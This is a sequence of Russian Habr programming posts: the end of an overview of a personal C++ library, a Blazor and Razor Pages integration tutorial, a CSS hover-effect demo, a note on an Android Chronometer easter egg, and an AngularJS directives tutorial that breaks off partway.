* Класс UList – динамические массивы, класс MMatrix – первые динамические массивы, набор классов MTE универсальных классов для хранения различных типов данных.
* Класс MRect для работы с регионами, класс MRGB для работы с цветами.
* Класс mbool – для работы с битовыми масками, функции конвертации строк в числа, кодировки, различные форматы и наоборот.
* Наборы библиотек под wince, flash.
* Набор кроссплатформенных функций для работы с файлами: CreateFile(), ReadFile(), WriteFile(), GetFilePointer()… GetFileInfo(), CloseHandle(), MkDir(), LoadFile(), SaveFile().
* Класс Readdir для получения списка файлов в папке, использует MSVEF в качестве фильтра.
* Функция вывода в консоль print(VString string, VString string1 = VString(), …).
* Функции для создания потоков StartThread().
* Классы блокировки: TLock – критические секции, CLock – condition variables / условные переменные, UGLock – автоматическая блокировка/разблокировка TLock.
* Классы работы с буферами: SendDataL – линейный буфер, SendDataRing – кольцевой буфер, RecvData – буфер для приема данных.
* Классы работы с сетью: ConIp – для установки соединения и открытия порта. Функции: GetIP() – получение ip по имени домена, ifrecv() – проверка доступности данных в сокете, ifsend() – проверка разрешения на запись в сокет, gettip() и getcip() – возвращает ip и порт, сервера и клиента.
Дополнения, указываются перед включением msvcore.cpp:
> #define USEMSV\_ITOS
>
> Класс ITos, предыдущая версия SString. Устарел.
>
>
>
> #define USEMSV\_INTERCEPT
>
> Набор функций для анализа машинных кодов и перехвата функций.
>
>
>
> #define USEMSV\_CPPXCC
>
> Класс XCC – парсер кода на C++.
>
>
>
> #define USEMSV\_INTERCEPT\_MALLOC
>
> Код для перехвата системных функций работы с памятью, используется для поиска утечек памяти.
>
>
>
> #define USEMSV\_XDATACONT
>
> Классы для работы с форматами данных. Класс XDataCont разбирает JSON и XML, остальные классы устарели.
>
>
>
> #define USEMSV\_CJX
>
> Класс CjxCont с реализацией бинарного формата данных, бинарный json.
>
>
>
> #define USEMSV\_MLIST, USEMSV\_ILIST, USEMSV\_OLIST, USEMSV\_ALIST, USEMSV\_TRIELIST
>
> Подключает соответствующие классы динамических массивов: MList, IList, OList, AList, TrieList.
>
>
>
> #define USEMSV\_AMF
>
> Классы amfe и amfd для конвертирования/разбора AMF формата.
>
>
>
> #define USEMSV\_PCRE
>
> Подключает библиотеки с функциями регулярных выражений pcre2.
>
>
>
> #define USEMSV\_CONSOLE
>
> Классы PipeLine и PipeLine2 для запуска других процессов.
>
>
>
> #define USEMSV\_MWND
>
> Практически отдельная библиотека для работы с окнами, графикой, изображениями. Позволяет работать с графикой на всех поддерживающих библиотекой платформах. Содержит функции рисования примитивов, не зависящие от платформы. Про нее стоит рассказывать отдельно. Использует библиотеку CxImage для кодирования/декодирования форматов изображений.
>
>
>
> #define USEMSV\_CONSOLELINE
>
> Набор классов для работой с консолью.
>
>
>
> #define USEMSV\_OPENSSL
>
> Функции и классы для работы с openssl и шифрованием. Класс MySSL для установки/приема ssl соединений и работы с ними. Функции: RsaCreateKeys() – создает два Rsa ключа, функции RsaPublicEncode(), RsaPublicDecode(), RSAPrivateEncode(), RsaPrivateDecode() – шифруют/расшифровывают открытым/закрытым ключом, функции AesEncode() и AesDecode() кодируют/декодируют алгоритмом Aes. Так же содержит функции работы с сертификатами.
>
>
>
> #define USEMSV\_WEBSOCKETS
>
> Набор функций для работы с WebSockets и класс WebSocketsCli – реализация WebSockets клиента.
>
>
>
> #define USEMSV\_MYSQL
>
> Класс MySQLCon — обертка для работы с MySQL, использует mysql-connector-c.
>
>
>
> #define USEMSV\_MSL\_FL
>
> Подключает интерпретатор MSL – мой вариант языка программирования, больше всего напоминающий php. Msl Fast Line – 4 версия msl. Без генерации псевдокода, выполняет текстовые команды. Написан где-то за неделю в октябре 2013. Про него тоже стоит рассказывать отдельно.
>
>
>
> #define USEMSV\_MSL\_FV
>
> Msl Five – пятая версия языка. С генерацией байт кода и прочими плюшками. Разрабатывалась в сентябре 2015 года.
>
>
>
> #define USEMSV\_HTTP
>
> Классы и функции для работы с http запросами. Классы GetHttp и GetHttp2. При подключении openssl функций поддерживает https запросы. Класс IHeader для работы с http заголовками. Класс MCookie для работы с куками.
>
>
>
> #define USEMSV\_CONFLINE
>
> Класс ConfLineOptions для работы с конфигурационными файлами.
>
>
>
> #define USEMSV\_NESTAPI, USEMSV\_NESTAPI2
>
> Классы и функции для серверной части моего протокола NestApi.
>
>
>
> #define USEMSV\_STORMSERVER
>
> Серверная платформа, о которой я бы хотел написать отдельный пост. Порядка десяти лет я пытался писать хорошие сервера и это наконец то удалось. Практически идеальное решение.
>
>
>
> #define USEMSV\_LIGHTSERVER
>
> Класс LightServer — простой и легкий сервер, под который можно написать свой обработчик. Класс LightServerHttp – простой https сервер, возвращающий тестовую страничку.
>
>
>
> #define USEMSV\_TGBOTS
>
> Классы TgBot и TgBots реализация ботов для телеграмма.
>
>
>
> #define USEMSV\_ANDROID
>
> Функции и классы упрощающие работу при компиляции под андроид.
>
>
>
> #define USEMSV\_TRAFFIX
>
> Классы для прослушивания трафика.
>
>
>
> #define USEMSV\_BUFECHO
>
> Функции для изменения опций консоли.
### Заключение
Надеюсь, вас заинтересует этот велосипед имени меня и мне будет, что рассказать вам еще. На мой взгляд, здесь есть довольно интересные вещи, начиная со строк, массивов, написаны обертки для openssl, может заинтересовать msl, или класс для создания ботов в телеграмме, и наконец, stormserver – платформу для создания различных серверов. Про последний я напишу отдельную статью, о разработке серверов, от простого эхо сервера до сложных http и прокси.
Как я уже говорил, библиотека довольно сильно смещена в сторону разрабатываемых программ. Как показывает практика, саму по себе ее сложно разрабатывать, не имея конкретных задач.
Я писал эту библиотеку для того, чтобы научиться хорошо программировать и понимать, что делает код от начала и до конца. И, надо сказать, прогресс есть, но еще работать и работать.
В дальнейших планах еще раз переписать с нуля, окончательно избавиться от старого кода, привести в порядок. И возможно, наконец-то написать документацию. Так же в планах дописать реализацию новых вариантов строк, как замену текущим, и, новые динамические массивы.
→ [Код библиотеки и несколько проектов](https://github.com/mikelsv/opensource) | https://habr.com/ru/post/316220/ | null | ru | null |
# Объединяем Blazor и Razor Pages в одном ASP.NET Core 3 приложении
***Перевод статьи подготовлен в преддверии старта курса [«C# ASP.NET Core разработчик»](https://otus.pw/IFnr/).***
---
В этой статье я расскажу, как вы можете добавить страницы на основе Blazor в существующее приложение Razor Pages.
### Предисловие
Выход Blazor на золото [должен произойти через две недели](https://www.dotnetconf.net/). Многие вещи в проекте еще подвержены достаточно резким изменениям, и последняя предварительная 9-я версия значительно усложнила взаимодействие между компонентами Razor Pages и Blazor: [теперь невозможно передавать параметры](https://github.com/aspnet/AspNetCore/issues/13721) из страницы Razor в компонент Blazor с помощью `Html.RenderComponentAsync`. Это может измениться в будущем, но вполне вероятно, что в .NET Core 3.0 он появится с этим ограничением.
Если вы все же хотите улучшить свое существующее приложение на основе Razor Pages с помощью Blazor-магии, одно из решений — полностью создавать свои страницы в Blazor. В этой статье я покажу, как вы можете добавлять Blazor-страницы в существующее приложение на основе Razor Pages, где одни части приложения создаются с помощью Razor Pages, а другие — с помощью Blazor Pages. Для обоих типов страниц используется **одинаковый макет.**
### Шаг первый: поддержка Blazor
Итак, у нас есть уже существующее Razor Pages приложение, которое было преобразовано в .NET Core 3.
Для начала, вам нужно добавить в свое приложение поддержку Blazor. Эта поддержка позволит вам отображать Blazor-компоненты с Razor-страницы. [Официальная документация](https://docs.microsoft.com/en-us/aspnet/core/blazor/hosting-models?view=aspnetcore-3.0) полностью проводит вас по этому процессу, но вот его краткое изложение.
**Startup.cs:**
Нам необходимо добавить `Services.AddServerSideBlazor` в `ConfigureServices` и `endpoints.MapBlazorHub` в `Configure`:
**\_Layout.cshtml:**
JS-библиотека Blazor необходима для подключения Blazor на стороне сервера. Она может быть добавлена в `_Layout.cshtml`:
[?](https://mikaelkoskinen.net/post/combining-razor-blazor-pages-single-asp-net-core-3-application#)
**\_Imports.razor:**
Нам также потребуется новый файл с именем `_Imports.razor`. Он должен быть добавлен в папку Pages:
`_Imports.razor` используется для установки using-выражений для ваших Blazor-компонентов. Начать можно со следующего:
[?](https://mikaelkoskinen.net/post/combining-razor-blazor-pages-single-asp-net-core-3-application#)
```
@using System.Net.Http
@using Microsoft.AspNetCore.Components.Forms
@using Microsoft.AspNetCore.Components.Routing
@using Microsoft.JSInterop
@using Microsoft.AspNetCore.Components.Web
```
**И на этом все**. Теперь наше приложение поддерживает Blazor. Мы можем проверить это, скопировав классический компонент Counter (счетчик) в наше приложение
[?](https://mikaelkoskinen.net/post/combining-razor-blazor-pages-single-asp-net-core-3-application#)
```
@page "/counter"
Counter
=======
Current count: @currentCount
Click me
@code {
int currentCount = 0;
void IncrementCount()
{
currentCount++;
}
}
```
И отредактируем `Privacy.cshtml`, чтобы включить компонент Counter:
```
[?](https://mikaelkoskinen.net/post/combining-razor-blazor-pages-single-asp-net-core-3-application#)
@page
@model PrivacyModel
@{
ViewData["Title"] = "Privacy Policy";
}
@ViewData["Title"]
==================
Use this page to detail your site's privacy policy.
@(await Html.RenderComponentAsync(RenderMode.Server))
```
Теперь, когда мы запускаем приложение, на нашей странице должен появится рабочий Counter:
В следующей части этой статьи я покажу, как вы можете изменить свое Razor Pages приложение, чтобы вместо простого добавления компонентов на существующие страницы вы могли создавать полноценные Blazor-страницы.
### Шаг второй: поддержка Blazor Pages
Наш Blazor-компонент определяет маршрут `“/counter”`:
Но переход по нему не работает:
Наша цель — заставить работать маршрутизацию на Blazor-страницы. И мы хотим, чтобы Blazor-страницы использовали тот же макет, что и Razor-страницы. Для этого нам понадобится несколько вещей, начиная с [маршрутизатора (Router)](https://docs.microsoft.com/en-us/aspnet/core/blazor/routing?view=aspnetcore-3.0).
**App.razor:**
Создайте новый файл `App.razor` в папке
```
Pages
```
:
Компонент Router определен в `App.razor`:
[?](https://mikaelkoskinen.net/post/combining-razor-blazor-pages-single-asp-net-core-3-application#)
```
@using Microsoft.AspNetCore.Components.Routing
Page not found
==============
Sorry, but there's nothing here!
```
Router автоматически просматривает все Blazor-компоненты с помощью page-директивы и добавляет к ним маршруты.
**\_Host.cshtml:**
Нам также нужна страница, которая будет использоваться как хост для Blazor-страниц. Ее можно назвать как угодно, но в шаблонах Blazor по умолчанию используется `_Host.cshtml`, которое вполне нас устроит (впрочем, как и любое другое). В `_Host.cshtml` мы можем определить макет, который в нашем случае будет таким же, как у Razor-страниц.
`_Host.cshtml` содержит вызов `Html.RenderComponentAsync`:
[?](https://mikaelkoskinen.net/post/combining-razor-blazor-pages-single-asp-net-core-3-application#)
```
@page "/blazor"
@{
Layout = "_Layout";
}
@(await Html.RenderComponentAsync(RenderMode.Server))
```
**Startup.cs:**
И, наконец, небольшое дополнение к методу `Configure Startup.cs`. Ранее мы добавляли `MapBlazorHub`, а теперь нам нужно добавить вызов `MapFallbackToPage`, указывающий на новый `_Host.cshtml`:
И на этом все! Теперь нам просто нужно протестировать наш сетап. Добавьте счетчик страниц Blazor (Counter) в свой макет, отредактировав `Pages/Shared/_Layout.cshtml`:
Когда мы запускаем приложение, мы видим рабочую Blazor-страницу в нашем Razor Pages приложении:
И мы не ломали поддержку добавления Blazor-компонентов в Razor Pages:
### Примечания
Следует отметить пару моментов:
* Маршруты Blazor работают только тогда, когда они указывают на корень. Если “/counter” изменить, например, на `“/products/counter”`, страница не сможет загрузить требуемый `blazor.server.js`. Вместо этого мы получим 404. Должна быть возможность изменить тег script, чтобы он мог загружать требуемый скрипт независимо от локации, но, похоже, это изменилось с предварительной 8-й версии в предварительной 9-й, и я не смог заставить его работать. Вот скриншот 404, показывающий проблему:
* Если вам удалось загрузить скрипт, вы, вероятно, столкнетесь с теми же проблемами с Blazor hub: скрипты пытаются найти hub в /products/blazor вместо blazor. Чтобы обойти это, вы можете вручную запускать соединение между сервером и браузером:
[?](https://mikaelkoskinen.net/post/combining-razor-blazor-pages-single-asp-net-core-3-application#)
```
Blazor.start({
configureSignalR: function (builder) {
builder.withUrl('/\_blazor');
}
});
```
Пример кода
-----------
[Пример кода для этого проекта доступен на GitHub](https://github.com/mikoskinen/blog/tree/master/blazor-pages-razor-pages-single-app).
---
Хотите узнать о нашем курсе подробнее? **[Вам сюда](https://otus.pw/IFnr/)**.
---
Читать ещё:
-----------
* [Битва C# JSON сериализаторов для .NET Core 3](https://habr.com/ru/company/otus/blog/515880/)
--- | https://habr.com/ru/post/516434/ | null | ru | null |
# Удивительно простой, но красивый CSS-эффект
Наткнулся на очень простой в реализации, но интересный rollover-эффект для кнопок на CSS. Автор — некий японец [ksk1015](https://twitter.com/ksk1015).
[Демонстрация эффекта](http://koulikov.com/wp-content/uploads/2012/10/csseffect/) и [процесс написания](http://thecodeplayer.com/walkthrough/simple-yet-amazing-css3-border-transition-effects).
Реализация крайне проста:
```
```
CSS:
```
body {
padding: 100px 20px;
}
a {
background-image: url(data:image/gif;base64,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);
background-position: 50% 50%;
background-repeat: no-repeat;
background-origin: border-box;
display: inline-block; width: 100px; height: 100px;
border-width: 50px;
border-color: rgba(0,0,0,0);
border-radius: 100%;
-moz-border-radius: 100%;
-webkit-border-radius: 100%;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
-webkit-transition: 0.5s ease;
-moz-transition: 0.5s ease;
-ms-transition: 0.5s ease;
-o-transition: 0.5s ease;
transition: 0.5s ease;
}
a:hover {
border-width: 0;
border-color: rgba(0, 0, 0, 0.5);
}
.one{border-style: solid;}
.two{border-style: dashed;}
.three{border-style: dotted;}
.yon {border: 50px solid rgba(0, 0, 0, 0.7);}
.goo {border: 50px dashed rgba(0, 0, 0, 0.7);}
.rok {border: 50px dotted rgba(0, 0, 0, 0.7);}
.ryk {border: 50px double rgba(0, 0, 0, 0.7);}
.yon:hover{border: 1px solid rgba(0, 0, 0, 0.7);}
.goo:hover{border: 1px dashed rgba(0, 0, 0, 0.7);}
.rok:hover{border: 1px dotted rgba(0, 0, 0, 0.7);}
.ryk:hover{border: 1px double rgba(0, 0, 0, 0.7);}
.x7, .x8, .x9 {
border-radius: 0;
-moz-border-radius: 0;
-webkit-border-radius: 0;
}
.x7 {border: 50px solid rgba(0, 0, 0, 0.7);}
.x8 {border: 50px dashed rgba(0, 0, 0, 0.7);}
.x9 {border: 50px dotted rgba(0, 0, 0, 0.7);}
.x7:hover {border: 1px solid rgba(0, 0, 0, 0.7);}
.x8:hover {border: 1px dashed rgba(0, 0, 0, 0.7);}
.x9:hover {border: 1px dotted rgba(0, 0, 0, 0.7);}
``` | https://habr.com/ru/post/154139/ | null | ru | null |
# Последний отсчёт — Гугл развлекается
Некоторое время назад я писал о смешном методе-проверке [«А не козёл ли ты, пользователь?»](https://geektimes.ru/post/241122/). Сегодня обнаружил ещё один забавный метод для новенькой Android 8.0.
Чисто случайно перечитывал документацию по компоненту **Chronometer**. Обнаружил, что в API 24 появились новые методы, позволяющие хронометру работать в режиме обратного отсчёта. Стал проверять, написал простенький пример. Всё работает. Код тривиальный, приводить здесь не буду.
И тут глаз зацепился за ещё один новый метод, который добавили в API 26 — **isFinalCountDown()**. Описание метода было весьма скудным — *whether this is the final countdown*. Я почему-то подумал, что с его помощью можно определить момент, когда счётчик в хронометре станет равен 00:00. Хотя вроде можно и самостоятельно устроить такую проверку. Странно. Решил вызвать метод по щелчку кнопки. Запускал на эмуляторе.
```
public void onClick(View view) {
mChronometer.isTheFinalCountDown();
}
```
Эффект был неожиданным. Вдруг запускается приложение Youtube и в ней начинает проигрываться песня группы Европа «Последний отсчёт». Я сначала подумал, что это какой-то глюк и я куда-то не туда нажал. Но удивило совпадение названия песни с методом. Запустил ещё раз — опять запускается видеоролик. Стало интересно. Стал искать исходники Android 8.0 и нашёл [это место](https://github.com/android/platform_frameworks_base/blob/master/core/java/android/widget/Chronometer.java).
```
/**
* @return whether this is the final countdown
*/
public boolean isTheFinalCountDown() {
try {
getContext().startActivity(
new Intent(Intent.ACTION_VIEW, Uri.parse("https://youtu.be/9jK-NcRmVcw"))
.addCategory(Intent.CATEGORY_BROWSABLE)
.addFlags(Intent.FLAG_ACTIVITY_NEW_DOCUMENT
| Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT));
return true;
} catch (Exception e) {
return false;
}
}
```
В методе зашит адрес ролика на Ютубе, который запускается с помощью механизма **Intent**.
Скриншот запущенного ролика:
 | https://habr.com/ru/post/337340/ | null | ru | null |
# Директивы в AngularJS
Директивы — это ключевая особенность [AngularJS](http://angularjs.org/). С помощью директив можно добавлять новое поведение существующим HTML элементам, можно создавать новые компоненты. Примерами директив, добавляющих новое поведения для существующих HTML элементов, могут служить [input](http://docs.angularjs.org/api/ng.directive:input), [select](http://docs.angularjs.org/api/ng.directive:select), [textarea](http://docs.angularjs.org/api/ng.directive:textarea) в связке с [ngModel](http://docs.angularjs.org/api/ng.directive:ngModel), required и т.п. Перечисленные директивы в основном связаны с [валидацией форм](http://docs.angularjs.org/guide/forms) в AngularJS. Но тема валидации заслуживает отдельной статьи.
Директивы можно и нужно использовать для повышения модульности вашего приложения, выделения обособленной функциональности в компоненты, в том числе и для повторного использования.
Если вы разрабатываете приложение на AngularJS и не создаете директивы, то это уже само по себе немного настораживает. Либо ваше приложение достаточно простое и уложилось в стандартные возможности AngularJS, либо, скорее всего, что-то не так с архитектурой вашего приложения. А если у вас при этом есть работа с DOM-ом в контроллерах или сервисах, то вам однозначно надо разбираться с темой создания директив, т.к. манипуляций с DOM-ом не должно быть нигде, кроме директив.
В данной статье я постараюсь рассмотреть процесс создания собственных директив на нескольких примерах.
Хорошим примером создания директив могут служить [репозитории команды AngularUI](https://github.com/angular-ui). В эту команду входят разработчики, не являющиеся сотрудниками Google, но очень хорошо зарекомендовавшие себя в [списке рассылки](https://groups.google.com/forum/?fromgroups#!forum/angular) и на [stackoverflow](http://stackoverflow.com/questions/tagged/angularjs). Насколько я могу судить, они создают production-ready компоненты с настройками, покрывающими большую часть вариантов использования. У меня тоже есть [репозиторий](https://github.com/andreev-artem/angular_experiments), в который я выкладываю некоторые свои наработки. Но у меня немного другой подход. Мне больше нравится делать директивы под конкретные варианты использования. AngularJS очень лаконичен. Меньше кода => лучше читаемость => проще поддержка и изменение. Зачем тогда создавать «монструозные» компоненты с кучей настроек? Поэтому рассматривайте эти директивы как отправную точку для создания своих собственных под конкретные нужды. Еще за примерами можно пойти на сайт [ngmodules.org](http://ngmodules.org/), возможно, он сможет стать каталогом различных компонентов для AngularJS.
Итак, базовым документом для разработки своих директив является статья [Directives](http://docs.angularjs.org/guide/directive) из [Developer Guide](http://docs.angularjs.org/guide/). Там все расписано очень хорошо и подробно. К этому документу придется возвращаться еще не раз.
#### Директива-обертка для Tooltip-а из Twitter Bootstrap
[Исходный код директивы](https://github.com/andreev-artem/angular_experiments/blob/master/tb-tooltip/tb-tooltip.js) | [Исходный код демо](https://github.com/andreev-artem/angular_experiments/blob/master/tb-tooltip/index.html) | [Демо](http://andreev-artem.github.com/angular_experiments/tb-tooltip/index.html)
```
angular.module("ExperimentsModule", [])
.directive("tbTooltip", function(){
return function(scope, element, iAttrs) {
iAttrs.$observe('title', function(value) {
element.removeData('tooltip');
element.tooltip();
});
}
});
```
Использоваться будет примерно так:
```
{{order.cancelDateTime | date:'dd.MM.yyyy HH:mm'}}
```
В данном примере создается новый [модуль](http://docs.angularjs.org/api/angular.module) `ExperimentsModule`. У него нет зависимостей (пустой список зависимостей) — никакие модули не должны быть загружены до него. В этом модуле создается директива `tbTooltip`. Директивы при создании всегда именуются с использованием lowerCamelCase. При использовании директиву необходимо именовать в нижнем регистре с использованием в качестве разделителя одного из спец символов: `:`, `-`, или `_`. По желанию для получения валидного кода можно использовать префиксы `x-` или `data-`. Примеры: `tb:tooltip`, `tb-tooltip`, `tb_tooltip`, `x-tb-tooltip` и `data-tb-tooltip`.
За названием директивы идет фабричная функция, которая должна вернуть описание директивы. В общем случае описание представляет собой объект, полный список полей которого приведен в документации. Но существует упрощенный вариант, когда можно вернуть только postLink функцию. В этому случае директива в дальнейшем может использоваться только как атрибут какого-либо HTML элемента. В этом примере как раз использован упрощенный вариант создания директивы.
Что такое postLink функция? Когда директива выполняется для конкретного DOM элемента, ее работа состоит из 3-х фаз:
* compile: фаза, во время которой можно производить трансформацию **шаблонной** DOM-структуры элемента, к которому применяется директива. Под шаблонной структурой подразумевается либо внутренняя структура, описанная в самом коде HTML страницы, либо шаблон, заданный полями template или templateUrl конфигурационного объекта. Следующим примером будет как раз директива на базе compile функции;
* preLink: фаза, выполняемая перед связыванием всех дочерних элементов. Здесь не рекомендуется проводить какие-либо трансформации DOM;
* postLink: фаза, выполняемая после связывания всех дочерних элементов. Наиболее часто используемая фаза. Здесь рекомендуется выполнять все необходимые DOM трансформации, навешивать обработчики событий и т.п.
Последовательность выполнения фаз для иерархической структуры наглядно показана [здесь](http://jsfiddle.net/vojtajina/8yzbZ/).
В данном примере осталось еще два ключевых момента.
1. В процессе использования необходимо, чтобы в атрибуте title мог быть не только статический текст, но и чтобы в нем поддерживалась интерполяция (подстановка) данных. Именно за это и ответственен код `iAttrs.$observe('title', function(value) { ... })` Как только интерполяция закончена, т.е. получена окончательная текстовая строка, или когда какие-либо данные, участвующие в интерполяции изменились, применяем изменения, используя tooltip компонент Twitter Bootstrap.
2. Второй момент, наверное, все же не очень ключевой и не имеет отношения к AngularJS, а касается логики работы компонента tooltip. Чтобы применить изменения для ранее созданного tooltip-а, надо подчистить старые данные. Что и делается кодом `element.removeData('tooltip');`
#### Директива для подсветки кода
[Исходный код директивы](https://github.com/andreev-artem/angular_experiments/blob/master/ui-source/ui-source.js) | [Исходный код демо](https://github.com/andreev-artem/angular_experiments/blob/master/ui-source/index.html) | [Демо](http://andreev-artem.github.com/angular_experiments/ui-source/index.html)
```
.directive('uiSource', function () {
return {
restrict: 'EA',
compile: function (elem) {
var escape = function(content) {
return content
.replace(/\&/g, '&')
.replace(/\/g, '>')
.replace(/"/g, '"');
};
var pre = angular.element('');
pre.append(prettyPrintOne(escape(elem.html().slice(1)), undefined, true));
elem.replaceWith(pre);
}
};
});
```
Использование:
```
Name:
---
Hello {{yourName}}!
===================
```
Директива для подсветки кода с использованием google-code-prettify.
Необходимо, чтобы внутреннее содержимое этой директивы не компилировалось и не линковалось, а просто было обработано google-code-prettify.
Данная директива уже реализована через конфигурационный объект. Рассмотрим директиву построчно.
```
restrict: 'EA',
```
Директива может использоваться как элемент и как атрибут. В общем случае варианты применения кодируются как 'EACM'. Можно создать директиву, которая может использоваться как элемент 'E', атрибут 'A', класс 'C', комментарий 'M'.
```
terminal: true,
```
Означает, что приоритет на котором объявлена эта директива будет последним приоритетом исполнения. Т.е. будут выполнены только директивы приоритетом выше и с таким же. С таким же приоритетом будут выполнены все директивы, т.к. в рамках одного приоритета порядок исполнения директив не определен.
```
compile: function (elem) {
...
}
```
На этапе компиляции мы извлекаем содержимое элемента, обрабатываем спецсимволы, заменяя их на [мнемоники](http://ru.wikipedia.org/wiki/%D0%9C%D0%BD%D0%B5%D0%BC%D0%BE%D0%BD%D0%B8%D0%BA%D0%B8_%D0%B2_HTML), результат обрабатываем google-code-prettify, обрамляем это все тегом pre и заменяем исходный элемент получившимся.
Вот еще интересные варианты директив, задействующих этап компиляции: [ng-if](https://github.com/andreev-artem/angular_experiments/blob/master/ng-if/ng-if.js), [transclude into an attribute](http://stackoverflow.com/q/11703086/457375). Оставляйте еще примеры в комментариях, добавлю в пост.
#### uiPagination
[Исходный код директивы](https://github.com/andreev-artem/angular_experiments/blob/master/ui-pagination/ui-pagination.js) | [Исходный код демо](https://github.com/andreev-artem/angular_experiments/blob/master/ui-pagination/index.html) | [Демо](http://andreev-artem.github.com/angular_experiments/ui-pagination/index.html)
Код достаточно длинный, поэтому сюда вставлять не буду.
Использование:
```
```
Классическая директива с визуальным компонентом.
Ключевая особенность здесь — использование изолированной области видимости (scope).
```
scope: {
cur: '=',
total: '=',
display: '@'
},
```
Статья уже получается достаточно большой, поэтому я не буду подробно останавливаться на деталях и всех возможных вариантах. Они хорошо описаны в документации. Кроме того, рекомендую ознакомиться со статьей [The Nuances of Scope Prototypal Inheritance](https://github.com/angular/angular.js/wiki/The-Nuances-of-Scope-Prototypal-Inheritance) (там хорошие визуализации).
В данном случае cur и total будут двунаправлено привязаны через одноименные атрибуты к области видимости, в которой используется директива, а display будет получать обновления через одноименный атрибут из той же области видимости.
Единственное, что хотелось бы отметить: если создается директива с активным использованием [NgModelController](http://docs.angularjs.org/api/ng.directive:ngModel.NgModelController), то, скорее всего, лучше будет использовать не изолированную область видимости (с ней есть [определенные проблемы](http://stackoverflow.com/q/11896732/457375)), а новую дочернюю область видимости, объявляемую через `scope: true`. Правда при этом в ng-model надо будет указывать свойство объекта (`ng-model="pagination.cur"`), а не просто переменную (`ng-model="curPage"`). Но просто переменные и не рекомендуется использовать для ng-model ([пруф](https://plus.google.com/118090665492423851447/posts/KKiLKLCF4Xa), смотрите комментарий Miško Hevery).
#### uiGrid
